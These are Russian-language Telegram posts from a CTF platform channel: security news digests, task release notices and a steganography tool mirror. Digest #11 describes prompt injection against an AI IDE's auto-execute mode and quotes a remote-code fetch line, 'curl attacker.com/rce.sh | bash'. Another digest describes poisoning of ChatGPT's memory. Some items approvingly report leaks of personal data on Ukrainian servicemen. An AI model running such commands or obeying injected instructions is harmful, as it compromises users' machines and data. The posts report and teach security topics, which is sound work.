Новостной дайджест #6

🚙 Угон админки и персональных данных
На сайте FIA нашли дыру, которая позволяла получить права админа и стащить конфиденциальные данные пилотов Формулы-1. Третьего июня «белые» хакеры поделились с компанией такой находкой.
Исследователи получили доступ ко всем внутренним коммуникациям, а также к очень чувствительным сведениям (личные дела, сканы паспортов, резюме, гоночные лицензии и т.п.).

Мы остановили тестирование, после того как мы заметили, что мы могли получить доступ к паспорту Макса Ферстаппена, его резюме, лицензию, хэш паролей, и его персональную идентификацию. К этим данным можно было получить доступ для всех пилотов Формулы-1 с категоризацией, а также к конфиденциальной информации о внутренних операциях FIA" - Говорит Кэролл

Сайт был временно заблокирован, а проблему устранили спустя неделю.
Вот и учитывая такие детали не только о самих водителях F1, но и о самой FIA, представить не сложно, какие манипуляции в гонках можно осуществить. Ну или заработать на этом как то.
Источник

🃏Мошенничество в покере
Казино уже давно использует автоматические тасовщики карт. Два года назад презентовали новый авто-тасовщик Deckmate 2, и в нём на презентации нашли дыры через USB порт. Через него можно было изменить код устройства и получить доступ к внутренней камере тасовщика, тем самым узнавая порядок карт до игры. Этим мошенники и воспользовались такой уязвимостью, и набрали около 7 МИЛЛИОНОВ долларов с пострадавших в этой схеме. А сама схема такова — за покерным столом сидели известные баскетболисты и заманивали этим обычных любителей покераю (кто не хочет с ними сыграть, верно?). Вот так и попадались на такое. В этой схеме участвовали члены мафии и бывшие игроки НБА (тренер Portland Trail Blazers Чонси Биллапса и экс-игрок Дэймон Джонс). В итоге 31 человеку предъявили обвинения по делу о мошенничестве.
Источник

🌐Уязвимости у нового браузера от OpenAI
Если кто-то уже начал пользоваться новым браузером Atlas — можете откатываться назад на другие браузеры. Была найдена критическая уязвимость, которая позволяет встраивать вредоносный код прямиком в память ChatGPT и его исполнять. Технически это затрагивает вообще всех пользователей ChatGPT, но особо уязвимы будут пользователи Atlas (более чем на 90%). Суть уязвимости — мошенники используют межсайтовую подделку запроса, делая запрос, чтобы воспользоваться учетными данными для доступа и запустить нежелательный код. После этого пользователь должен воспользоваться ChatGPT, но ИИ сделает то, что было сохранено в ее памяти — тот самый код. А отсюда уже и рукой подать до ваших данных и систем которыми вы пользуетесь. Это была основная уязвимость, больше в источнике.
Источник

🐞❤️
Напоследок, хотелось бы поблагодарить канал Райтапы по CTF{2025} за освещение нашей площадки несколько недель назад. А так же поздравляем их админа с прошедшим ДР!

А на этом всё! До встречи и хорошей кибер-недели вам!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Разборы задач

📖 Чтобы площадка с задачами была полноценно обучающей, ей не хватает разборов, куда можно подсмотреть, если наступил совсем тупик в решении. Такие пояснения нужны для повышения навыков: получив их, следующие подобные задания будет решать проще и понятнее. Поэтому мы начинаем потихоньку писать и выкладывать разборы к задачам, которые давно вышли и многие успели решить.

Но сперва несколько ремарок, чтобы снять некоторые вопросы и добавить ясности:

📌 В первую очередь разборы будут публиковаться для задач сложности Baby, Easy и некоторых Medium. Hard пока останется без описания. Это умышленное ограничение, чтобы сложные задачи нельзя было подсмотреть и не сломать баланс скорборда, где идет честная борьба.

📌 Разборы на сложные задания, где решений не много, тоже появятся, но не раньше весны следующего года. Мы работаем над обновлением площадки, и одним из серьезных изменений будет введение сезонов. Это самое оптимальное решение для сохранения честного баланса на скорборде и публикации разборов ко всем задачам. То есть после завершения определенного срока старые задачи перестанут учитываться в зачете, но для них появятся описания решений. Так мы сможем публиковать разборы и не допустим мухлежа на доске достижений. Все старые победы из прошлых сезонов также останутся доступны в истории.

📌 Для полноценного описания решений не хватает формата постов в Телеграме — он не позволяет добавлять картинки в текст, а без них нормально объяснить не получится. Поэтому мы немного поэкспериментировали с разными сервисами и как временное решение остановились на Telegraph, который встроен в сам Телеграм. Позже эти статьи переедут на сайт, чтобы были рядом с задачами.

❗️ Разбор задачи «Отголосок прошлого»
А теперь сам разбор. Начнем с задачи из категории OSINT, которая называется «Отголосок прошлого». За два месяца ее смогли решить 42 человека.
Полный разбор задачи со ссылками и картинками можно посмотреть тут: разбор задачи.

Пишите в чат или комментарии к посту, как вам такой формат разборов. Может быть, что-то стоит доработать в описании или есть какие-то еще идеи по более удобным сервисам для публикации. А также делитесь своими идеями решения, так как у каждой задачи может быть множество вариаций нахождения флага.

———
#⃣ #Задачи #Разбор #CTF

🐞 Канал // Чат // Задачи

Нужен ваш голос и совет!

❗️ На площадке с задачами появилась проблема – как сохранить баланс на скорборде и в тоже время выкладывать разборы задач для обучения. После мозгового штурма есть несколько идей, у всех свои плюсы и минусы. Помогите решить – следующим постом будет голосование. А также можете писать свои идеи и предложения в комментарии или в чат.

📌 Первый способ
Выкладывать разборы на площадке и даль возможность их посмотреть(как хинты) за списание баллов. То есть описание решения можно посмотреть, заплатив условными 100 баллами из своих накопленных за решения задач очков. Тут ряд минусов: в канал обзор не получится опубликовать и можно жульничать, если регистрировать фейковые аккаунты и с них открывать подсказки.

📌 Второй способ
Ввести сезоны на площадке. Каждые 2-3 месяца полностью обнулять скорборд, обнулять баллы на все старые задачи и публиковать на них разборы с описанием решений. Тут минус в том, что каждый сезон придется с нуля набирать очки, а самые свежие задачи побудут актуальными всего несколько недель, а последняя пачка и вовсе неделю. А также это займет время для доработки площадки. Ее и так переделываем, но два других способа можно реализовать уже сейчас.

📌 Третий способ
Обнулять очки на устаревшие задачи, которым исполнилось 2-3 месяца. И для таких задач выкладывать постепенно разборы. Так каждая задача будет актуальной одинаковое время и будет достаточный промежуток для того, чтобы попробовать самостоятельно порешать. Минус тут в том, что хардовые задачи, где было всего несколько решений, тоже будут обнулены и это может неприятно изменить баланс на скорборде, но такой недостаток есть в каждом из вариантов.

❗️ Я больше склоняюсь к третьему варианту, он более спокойный и без кардинальных изменений на скорборде, и публикация разборов будет более равномерная. Но хочется и ваши комментарии и голоса увидеть. Ниже опрос – голосуйте.
Идеи и пожелания пишите в комментарии к посту или в чат.

———
#⃣ #Голосование #CTF

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #5

Шесть новых задач доступны на площадке!

🟢 Welcome / Бесславные БАГоделы

🟡 Rev / Кости и Баги

🟡 Misc / Испорченное селфи

🟡 OSINT / Сквозняк в голове

🟡 Forensic / CTF-ер, который смог

🔴 Web / Кошачья CVEтыня

Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #7

👨‍💻 Проделки Killnet и Beregini
Российские хакеры Killnet, совместно с другой хакерской группировкой Beregini (состоит из гражданок Украины) получили доступ к данным более 7 миллионов клиентов ШЕСТИ крупнейших страховых фирм Украины, а также массив информации о крупнейших оборонных предприятиях.
В результате атаки они выгрузили около 10 миллионов пакетов документов, как на физические лица, так и на юридические. В них попали:

— грин-карты
— страховые договора
— полные пакеты документов на физических лиц
— страхование недвижимости
— заводы
— автомобили
— водительские удостоверения
Операция длилась больше недели — представитель Killnet.

Как писал выше, хакеры выгрузили еще массив информации оборонных предприятий (кого именно, есть в источнике), также вместе с данными руководства, схемами производства и данными сотрудников. Всю инфу они планируют использовать против лиц, которые как то связаны с укр. радикалами, а также против тех, кто распространял пронацистскую пропаганду в интернете.
Также хакеры в октябре взломали КРУПНЕЙШУЮ айти платформу (какую именно не публикуют ни СМИ ни сами Killnet) производителей дронов для ВСУ с личными данными продавцов беспилотников и ТТХ множества моделей дронов, включая зарубежные образцы. Оборот этой платформы составлял около 160 млрд. рублей в год.
Источник

🤡 Бэкдор Kalambur
Некоторым пользователям начали рассылать письма, якобы от антивирусной компании ESET. В письмах говорится, что «обнаружена подозрительная активность» в их почтовом ящике и нужно срочно запустить сканирование. Пользователи как бы и скачивали антивирус, но вместе с ним и был скрытый Каламбур (вот умора) — вредоносный бэкдор.
Через этот бэкдор хакеры получают удалённый доступ к компьютеру: могут включить RDP, отключить OpenSSH и управлять ОС. По данным специалистов, за атакой стоит группировка InedibleOchotense, которая маскировалась под ESET, создавая фейковые сайты вроде esetsmart[dot]com и esetremover[dot]com (более недоступны, по понятным причинам).
Источник

🥷 Киберограбление, которое мы заслужили
Необычная история пришла из Москвы. Трое злоумышленников пригласили 16 летнего парня "снять совместный контент", нужно было обсудить с ним детали. Место встречи назначили у метро, трое молодых людей ждали в машине, и пригласили парня на беседу. Один из злоумышленников для запугивания выстрелил в пол и потребовал телефон. После чего грабители зашли в Telegram жертвы и перевели цифровые открытки на сумму 60 тысяч рублей.
Злоумышленники также увидели у парнишки приложение для крипты и заинтересовались, сколько у него на счету. Парень соврал, что там 9 миллионов, но вывести может только из дома. Парня отпустили, чтобы он сделал перевод из дома, а тот не растерялся и сразу заявил о происшествии в полицию.
Грабителей задержали: одного на месте, двоих — на трассе М-1 при попытке сбежать. Им возбуждены уголовные дела по разбою и вымогательству.
Источник

Вот такие вот насыщенные новости получились. И помните: как учила мама в детстве — не идите в машину к незнакомому дяде — украдут. Всем добра на следующую неделю!

❗️ P.S. Если у вас есть интересные новости или другие идеи/советы, то можете присылать их в директ канала — снизу слева есть кнопочка :) Или просто сюда в личку: @ipatove

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #6

Шесть новых задач доступны на площадке!

🟢 Welcome / Условный реверс

🟢 Misc / Точность+

🟡 Web / SubFlag

🟡 Rev / ЗаБАГованная башня

🟡 OSINT / Новый блог

🔴 Crypto / Ах#енный зум


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #8

🍓 Подработка для студентов
Начнём немного с остренького. На сайте Санкт-Петербургского архитектурно-строительного колледжа появилась вакансия из крупнейшей вебкам студии, в которой всё чётко было расписано — что делать придется, какие позиции открыты, сколько на этом можно заработать, ну вы поняли.
Администрация колледжа заявила, что была совершена хакерская атака (так мы и поверили), вот что они говорят:

Сегодня утром была осуществлена хакерская атака на официальный сайт колледжа, в результате которой несанкционированно были опубликованы материалы, не относящиеся к работе колледжа. Инцидент был немедленно зафиксирован. Все данные сайта были оперативно восстановлены. Официальный сайт колледжа работает в штатном режиме. Просим использовать только достоверные источники информации.

На сегодняшний день, колледж эту информацию уже убрал, на web archive информацию тоже не найти, поэтому кому интересно, что именно было написано на сайте — прошу в источник.
Источник

🥷 Двойные агенты
Новости из Чикаго. Сотрудники компаний DigitalMint и Sygnia, задача которых помогать людям в переговорах с вымогателями, внезапно решили самим встать на сторону зла и стали киберпреступниками.
Всё дело в том, что сотрудники таких компаний имеют доступ к чувствительной информации клиентов. Имея это, они сами запускали атаки на клиентов. Один сотрудник выступал как переговорщик, а в это время другие сотрудники запускали атаки на компании, требуя выкуп исчисляемый в миллионы долларов. Так они смогли взломать серверы медицинской компании во Флориде, выставили требование в 10 миллионов долларов, а в итоге похитили 1,2 миллиона. Такая атака была не единственной, но компания утверждает, что вообще не знала о двойных агентах, и сразу же уволила виновных.
Источник

🔑 Гигантская БД слитых данных
Исследователи обнаружили колоссальный массив скомпрометированных данных: почти 2 млрд уникальных e-mail адресов и около 1,3 млрд паролей, собранных в единую базу. Компания Synthient проанализировала десятки утечек из даркнета, убрала дубликаты и выяснила, что более 625 млн паролей никогда ранее не появлялись в открытых слитых архивах.
Такой объём делает набор крайне ценным для атак «credential stuffing», где злоумышленники перебирают украденные пары логин-пароль на разных сервисах, рассчитывая на повторное использование учётных данных.
Масштаб находки показывает, насколько широко по сети продолжают циркулировать старые и новые слитые базы, формируя и постоянно пополняя гигантские словари для таких автоматизированных атак.
Источник

Как то так вышло. Вот вам напоследок сайт, узнайте, слиты ваши данные или еще пронесло: тут
А на этом всё! Всем хорошей недели! До встречи!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #7

Семь Шесть с половиной новых задач доступны на площадке!

🟢 Welcome / Первый CTF

🟢 Crypto / Закодированный дед

🟢 Stegano / Заказ для друга

🟢 OSINT / Утренний туман

🟡 OSINT / Липсинк, который мы заслужили

🔴 Misc / Квадратная дружба

❗️Примечание:
Бонусом опубликована половинчатая задача на 100 баллов. В ночь перед релизом обнаружена ошибка — задача повторяет первую часть, если работать с картинкой в ОС Windows, задуманное решение доступно только в MacOs и Linux. Но чтобы совсем не убирать задачу и сделать на нее интересный разбор, будет опубликована сразу с минимальным баллом.

🐞 Stegano / Границы лишь в голове #2


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #9

Всем доброго вечера! Надеюсь, ваше воскресенье отдебажено, и всё готово к отдыху, потому что у нас на очереди дайджест новостей за неделю!

⚙️ Глобальный сбой Cloudflare
Не так давно упал AWS, из за чего тонна сервисов, которые держались на нём, просто перестали работать. Эту эстафету перенял Cloudflare, у которого случился масштабный технический сбой. Cбой затронул множество сервисов по всему миру, из-за чего при попытке войти на сайте, пользователей встречала ошибка "Internal Server Error", доступ был временно невозможен. Cloudflare засекли в этот момент "необычный всплеск трафика" и работала над решением.
Причина раскрылась спустя день. Проблема была... в файле конфигурации системы защиты от ботов. Дело в том, что за день до этого, разработчики в Cloudflare обновили свои конфиги. Сбой возник из-за того, что размер файла конфигурации превысил ожидаемый и допустимый. Что именно пошло не так, можно почитать в источнике.
Источник

📲 Ненадежный Whatsapp
А вот тут интересно вышло. Халатная компания Whatsapp (принадлежит компании Meta, которая признана в России экстремистской и запрещена) допустила утечку данных пользователей более чем на 3.5 млрд номеров. Такую базу собрали без какого либо взлома. Сервис не имел ограничения на запросы, Австрийские умельцы просто перебирали автоматически номера через веб-версию приложения. Итог: у 57% пользователей также были раскрыты аватарки, у 29% оказался доступен текст в профиле.
О такой проблеме заявляли еще в 2017 году, однако существенных изменений сделано не было. Австрийская команда заявила, что если бы этой уязвимостью воспользовались злоумшленники, то была бы НАИКРУПНЕЙШАЯ утечка всех данных. На сегодняшний день, команда уведомила Whatsapp, а те в свою очередь сказали, что уже работают над латанием этой дыры. (верим)
Источник

🚇 Железные дороги Италии
Кому-то нужны данные национальных железных дорог Италии? Нет? А они есть в даркнете, и аж 2.3ТБ. Железнодорожного гиганта FS Italiane Group взломал один хакер, нагрёб он у них внутренние документы высшей секретности. Эта корпорация отвечает за всю железнодорожную инфраструктуру государства. Доступ к данным хакер получил через крупного поставщика услуг Almaviva. Андреа Драгетти (руководитель направления киберразведки в лаборатории D3Lab) рассказывает:

Преступник хвастается материалами, среди которых внутренние акции компаний, репозитории кода нескольких организаций, объёмная техническая документация, контракты с государственными структурами, архивы отделов кадров, финансовые отчёты и полные базы данных дочерних предприятий FS Group.

Это создаёт риски не только для конфиденциальности, но и для устойчивости работы критически важного сектора страны.
Самого хакера опознать не удаётся, однако здесь обратили внимание, что дамп данных разложен аккуратно по архивам в соответствии с подразделениями и компаниями, что намекает на профессиональные группировки, которые специализируются на вымогательстве и продаже украденной инфы в 24-25 годах.
Источник

Вот и доверяй зарубежным компаниям. Ребята, всё надо своё иметь, поэтому Багодельня теперь в Max! Это шутка. Хорошей всем недели!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #8

Шесть новых задач доступны на площадке!

🟢 Welcome / Первый CTF в России

🟢 Web / Альтушка с БАГуслуг

🟡 OSINT / Египетская сила

🟡 Rev / Bogosort

🟡 Stego / Немое кино

🟡 Forensic / Украденный флаг


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #10

Сегодня у нас юбилейный дайджест — десятый!
Продолжаю и дальше делать для вас новости :)
(с) Дима aka 3T0T_FL4G_1MB4

🕊 Государственные шпионы среди нас
Помните как мы раньше ещё смеялись и шутили над тем, что голуби — это на самом деле правительственные дроны, которые шпионят за нами? Ну знаете, теперь уже как-то не смешно. Российская компания Neiry впервые представила «биодронов» в виде живых голубей. По сути это тот же БПЛА, которому можно задать, куда полетит наша птичка (только вместо привычных железных орлов, у нас тут киберголубь).
В эти самые биодроны вшивают нейроинтерфейсы и надевают рюкзачок набитый электроникой. По словам разработчиков, после имплантации можно буквально управлять птицей: задавать маршрут, заставлять её поворачивать, менять направление — мозг стимулируется, а голубь летит куда "скажут". Прицепленная к голубю камера, кстати, обещает картинку с детализацией до 0,1 м на пиксель, а сами «биодроны» могут налетать до 500 км в сутки.
Идея в том, что такие «естественные дроны» будут летать там, где обычный БПЛА могут засечь или сбить, и служить для мониторинга важных объектов — от линий электропередач до промышленных зон. Разработчики уверяют, что технология уже проходит финальные тесты.
В общем, если раньше казалось, что голуби странно на вас смотрят — теперь вы знаете, почему.
Источник

📹 Уязвимости видеорегистраторов
В наше время видеорегистратор в тачке — очень полезная вещь. Фиксирует происшествия или позволит вам уйти от обвинения в ДТП. Но, как оказалось, вас могут подслушивать через него. Исследователи выяснили: множество популярных моделей (от ряда производителей) можно взломать за считанные секунды — достаточно подключиться к их Wi-Fi (проводимые настройки или загрузка файлов часто используют дефолтные пароли).
После взлома злоумышленник получает доступ к видео и аудио, записанным внутри машины, а также GPS-меткам, что даёт возможность отследить маршрут владельца, его парковки, а иногда — увидеть номера авто, лица пассажиров, услышать разговоры в салоне.
Обезопасить себя можно, нужно сделать что-то из этого:

— купить видеорегистратор не оснащенный модулями LTE, Wi-Fi или Bluetooth;
— отключить эти модули, если они есть в регистраторе;
— отключить опцию «контроль парковки»;
— отключить запись звука;
— регулярно обновлять ПО у регистратора.

Источник

👨‍💻 Суета из-за увольнения
В США бывший контрактник IT-отдела решил отомстить работодателю после увольнения и сделал это максимально по-технарски. Уже не работая в компании, он пробрался в инфраструктуру через чужие учётки и запустил заранее подготовленный PowerShell-скрипт, который одним махом сбросил около 2500 паролей. Вся компания проснулась в хаосе: сотрудники по всей стране не могли войти в системы, подрядчики потеряли доступ, а службы поддержки захлебнулись обращениями.
После этого он попытался «размазывать следы»: удалял журналы событий, чистил логи и вычищал всё, что могло указать на момент и источник атаки. Компания в это время приводила инфраструктуру в чувство и считала ущерб, который в итоге приблизился к 900 тысячам долларов — от простоев до полного восстановления доступа по всей сети.
Но все же парень где-то просчитался и теперь его ждёт суд, и максимум по статье составляет 10 лет федеральной тюрьмы, плюс штраф до 250 тысяч долларов. Уволили в один день, а последствий хватит на десятилетие.
Источник

🐞 Бонус: Принтеры под атакой
Anonymous отчитались в X(Twitter), что взломали аж четыре российских принтера. Хакерам удалось изменить настройки дисплея принтера, напечатать текст и перегрузить энергонезависимую память принтера. Жесть!

На этом всё! Начните декабрь, как надо, до нового года всего месяц. Всем добра!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #9

Шесть новых задач доступны на площадке!

🟢 Welcome / Крипто-квиз

🟢 Crypto / Проклятый старый дом

🟢 Crypto / Послание от Француза

🟢 Stego / Отформатированный код

🟡 Forensic / Не доела ...

🟡 Web / Путь к флагу


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #11

Поздравляю! Ещё одна неделя прошла, и завтра снова понедельник. Ну, а у нас одиннадцатый дайджест!


🤖 Очередная уязвимость от ИИ
Что, не удивлены уже? Опять уязвимость из-за нейросетей. На этот раз у Google Antigravity, этакая новая IDE на Windsurf, типа VS Code с ИИ Gemini. Интеграция Gemini 3 с IDE предполагала упрощение и ускорение программирования. Нейронка может сама писать код, управлять терминалом и браузером.
Только есть одна проблема... Исследователь Johann Rehberger ещё весной находил серьёзные уязвимости в оригинальном Windsurf — и, как оказалось, все эти баги тихо перекочевали в Antigravity.
В этой IDE включён режим Auto-Execute: если ИИ считает команду «безопасной» — она просто выполняется. Достаточно аккуратного промпта, чтобы убедить модель скачать и запустить произвольный скрипт curl attacker.com/rce.sh | bash. Результат — полноценный RCE на машине разработчика.
У пользователя с ником Deep-Hyena492 нейросеть вообще стёрла диск с файлами, файлов нет и в корзине. Это своего рода напоминание, что все команды от ИИ надо визуально проверять перед их выполнением, иначе можно неизбежно потерять не только данные, но и всю ОС.
Это самая яркая уязвимость в IDE, однако проблем гораздо больше — подробнее в источнике.
Источник

☠️ Кто стоит за срывом Договорнячка?
Хакерские группировки Beregini, KillNet и "Кибер Серп" постарались и вскрыли занавес, кто стоял за атакой на российский танкер MIDVOLGA-2. Они взломали ПК командования ВМС Украины. Из найденных документов стало понятно что, за атакой стояли служащие 385-й бригады морских беспилотников.
Окей, вы думаете на этом всё? Не-е-е-т, далеко не всё. Так же хакеры нашли и слили список моряков, а там есть и начальство, и операторы и матросы — все причастные.

Военнослужащие из этой бригады также совершали нападения на Крым, Новороссийск и Геленджик, рассказали хакеры.

Кто всё таки стоит за этим, вы можете узнать больше в источнике.
Источник


✈️ Баг 🐞 в ПО Airbus
У семейства Airbus A320 нашли баг в бортовых компьютерах при воздействии солнечного излучения. При сильной солнечной активности бортовые компьютеры могут начинать работать некорректно. Из-за этого по миру массово отменяли рейсы — большую часть самолётов пришлось загонять на проверку, пока Airbus не выпустит фиксы. А на порядка тысячи самолётов придётся полностью заменить бортовые компьютеры.
Но тут забавная ситуация, наши Airbus'ы не под воздействием этой ошибки, потому что... у нас не самые новейшие обновления ПО... Обновление программного обеспечения на Российских самолетах последний раз было в 2022 году, и проблема затрагивает только те воздушные судна, у которых самые свежие обновления.
Саму ошибку нашли в ПО, когда расследовали инцидент, где самолёт JetBlue Airways резко терял высоту. Была совершена аварийная посадка во Флориде, тогда обошлось без жертв, но 15 человек было с травмами.
Источник

На этом всё! Хорошей вам кибер-недели, и помните: не полагайтесь на ИИ, они могут стереть вам диск. Пока!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #10

Пять новых задач доступны на площадке!

🟢 Welcome / Стул 0. Начало

🟢 Forensic / Слив флагов

🟡 Misc / Вайб Шелл

🟡 Misc / Побег с помощью Brainfuck

🟡 Stego / I feel fantastic


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #12

Привет-привет всем! К нам постучался сегодня новостной дайджест №12, начнём же!

🤖 Люди против автоботов
Вы, наверное, уже заметили, как я не люблю внедрение нейронок куда попало, но вот это... Это поразительно... В Stanford провели эксперимент, который многие пока недооценивают по масштабу. Учёные решили сравнить профессиональных хакеров и ИИ не в лабораторной среде, а в живой корпоративной инфраструктуре — с реальными машинами, сервисами и последствиями.
Эксперимент был максимально приближен к реальности:
— 10 профессиональных pentester-ов
— живая университетская сеть
— около 8 000 реальных машин
— 12 подсетей
— продакшн-системы и реальные пользователи

В ту же среду они запустили автономного AI-агента под названием ARTEMIS. Результат оказался ошеломляющим.

ARTEMIS превзошел 9 из 10 человеческих экспертов:
— 9 уязвимостей
— 82% подтвержденных находок
— 2-е место в общем лидерборде
— Полностью автономная работа

Почему ИИ оказался эффективнее:
— Люди работают в одном потоке, а ARTEMIS параллельно атаковал несколько хостов
— Люди застревали в тупиках, а ARTEMIS вёл идеальный трекинг задач и памяти
— Люди страдали от кривых веб-интерфейсов, а ARTEMIS просто игнорировал браузер и бил напрямую через curl
— Так же ARTEMIS нашёл несколько уязвимостей, которые не обнаружил ни один человек

К счастью, ограничения у машины все же есть:
— Бот пока не умеет выполнять атаки, завязанные на GUI
— У машины более высокий уровень false positive, чем у человека

Главный вывод: наступательная кибербезопасность перестаёт быть исключительно человеческой профессией, в неё уже вступает конкурент в виде нейронок, и они начинают выигрывать.
Ссылка на полное исследование от Cornell University в источнике.
Источник

👻 Roblox вернулся! Или нет?
Помните как у нас в стране заблокировали игру, под названием Roblox? Столько шума было вокруг него, и не без причины, т.к. Российские пользователи составляли огромную часть этой игры, и без них режимы внутри игры опустели на большую долю. Такая игрушка больше для детей, но по мнению властей там творился сущий ад. Казино, разврат и вымогательство, ужас. Так вот, чтобы поиграть, теперь нужно заходить из другой страны.
Но тут "добрые" умельцы уже обошли это, и теперь есть сайт, который позволяет заходить в игру без него. Нужно всего лишь ввести данные учётки от Roblox, и всё... И всё, аккаунт пропал. Да, это фишинговый сайт, никакой игрушки там и нет. Нацелено это больше на богатеньких игроков, у которых есть игровая валюта, предметы или аксессуары, может даже популярные игры внутри самого Roblox.
Источник

👮‍♀️ Это всё для вашей безопасности
— Вызывайте полицию! У нас незнакомцы в доме!
— Мы и есть полиция, мы пришли установить вам наше ПО для вашей безопасности.

Наверное так сейчас происходит в Германии, когда домой приходит полиция. В Берлине полиции официально разрешили секретно проникать в квартиры, чтобы устанавливать так называемый «государственный троян» — шпионское ПО для слежки. Речь идёт не об онлайн-взломах, а о самом настоящем физическом доступе к жилью без уведомления самого владельца (только если удалённо установить это же ПО не получилось).
Такой троян позволяет читать сообщения, отслеживать переписку в мессенджерах и получать доступ к данным на устройстве. Формально всё это подаётся как мера для борьбы с тяжкими преступлениями и терроризмом, но по факту полиция может войти, поставить ПО и уйти, а человек об этом даже не узнает.
Власти утверждают, что доступ будет строго контролироваться и применяться только с санкции суда, однако так ли на самом деле это... Теперь мы знаем, как выглядит настоящая европейская свобода и демократия.
Источник

От последней новости меня даже слегка потряхивает. Стоит уже закругляться... Не болейте и хорошей вам недели!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Aperi'Solve с большими лимитами

📖 Aperi'Solve – опенсорсный инструмент, который анализирует картинки на предмет стеганографии – скрытых данных. Для этого выполняются проверки на утилитах:
– exiftool
– binwalk
– zsteg
– steghide
– outguess
– foremost
– pngcheck
– strings

📌 Сам Aperi'Solve имеет веб-интерфейс и для его использования не нужно ничего устанавливать из перечисленного списка программ, они запускаются на сервере, а результат работы отображается в браузере.
Оригинальный код находится в репозитории и запущен по адресу https://www.aperisolve.com.
Но у оригинальной веб-версии есть ограничение на обработку файлов в 1 Мб, а также сам сервис часто не доступен из России.
Чтобы немного подправить ситуацию и помочь тем, кто ранее пользовался, но испытывает трудности теперь, сервис развернут на русском VPS. Лимиты файлы увеличены до 50Мб. Сервер, справляется с такими размерами файлов, судя по тестам и нагрузке, которую они создают. Но пока до конца не понятно, как поведет себе если им постоянно пользоваться и с большими файлами. Но, думаю, что параллельно врядли будет много людей его «мучать» и должно работать, Однако, если будут проблемы с доступностью, то пишите в чат или мне в личку(@ipatove) – будем чинить и настраивать.

❗️ Сервис находится тут: https://aperi.bug-makers.ru

📌 P.S. Но я бы рекомендовал установить все эти же приложения, что запускаются на сервисе, и себе на компьютеры, так удобнее и проще пользоваться. Да и к тому же, кроме стандартных запусков анализов, у каждой программы есть еще много дополнительных флагов, которые совершают дополнительное проверки. А этот сервис с веб-интерфейсом подходит как базовый чек-лист для поиска стеганографии, или же как инструмент для анализа в ситуациях, когда рядом нет подготовленного компьютера.

———
#⃣ #CTF #Stegano

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #11

❗️Внимание!
Этот и следующие три релиза задач будут в урезанном виде — по 2-3 штуки. После Новогодних праздников вернемся в обычный режим. Пока предновогодняя суета и декабрьские рабочие дедлайны не оставляют времени ни на что другое. Да и участникам уже пора заняться поиском подарков к НГ и побольше провести времени с близкими в канун праздников, а не за компуктерами сидеть)

Две новые задачи доступны на площадке!

🟢 Welcome / Анализ трафика

🔴 OSINT / Руины Некромосов


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #13

Всем привет! Это опоздавшие новости с воскресенья, или же дайджест #13, приступим же.

🍓 Утечка пользовательских данных с Pornhub
Снова большая утечка, и на этот раз пострадал один из самых крупных 18+ сервисов в мире — Pornhub. Утечка составила более 94ГБ данных, а постарались здесь хакеры из ShinyHunters. В результате инцидента в открытый доступ попали пользовательские данные, комментарии, метаданные и многое, что пользователи предпочли бы не видеть в сети (просмотренные URL видео, названия роликов, связанные ключевые слова и временные метки посещений).
Утекли и данные о типе активности. Тип активности, это данные о просмотре/скачивании видео и просмотра самого канала. К тому же, хакеры заявляют что туда попала и история поиска. Короче компромат жёсткий. Хакеры требуют выкуп у Pornhub и угрожают, что готовы обнародовать данные.
Источник

✉️ Охота на почтовые ящики ukr[.]net
Хакеры из BlueDelta (aka APT28/FancyBear) вели масштабную кампанию по фишингу учёток пользователей UKR[.]NET (популярный почтовый сервис Украины) целый ГОД. Атаки были активны с июня 2024 до апреля 2025 года, и это не случайные попытки, а хорошо организованная разведывательная активность.
Хакеры отказались от старых схем с взломанными роутерами и перешли на маскировку через легитимные прокси-сервисы вроде ngrok и Serveo — это позволяло скрывать настоящие сервера и держать кампанию в рабочем состоянии практически без пауз.
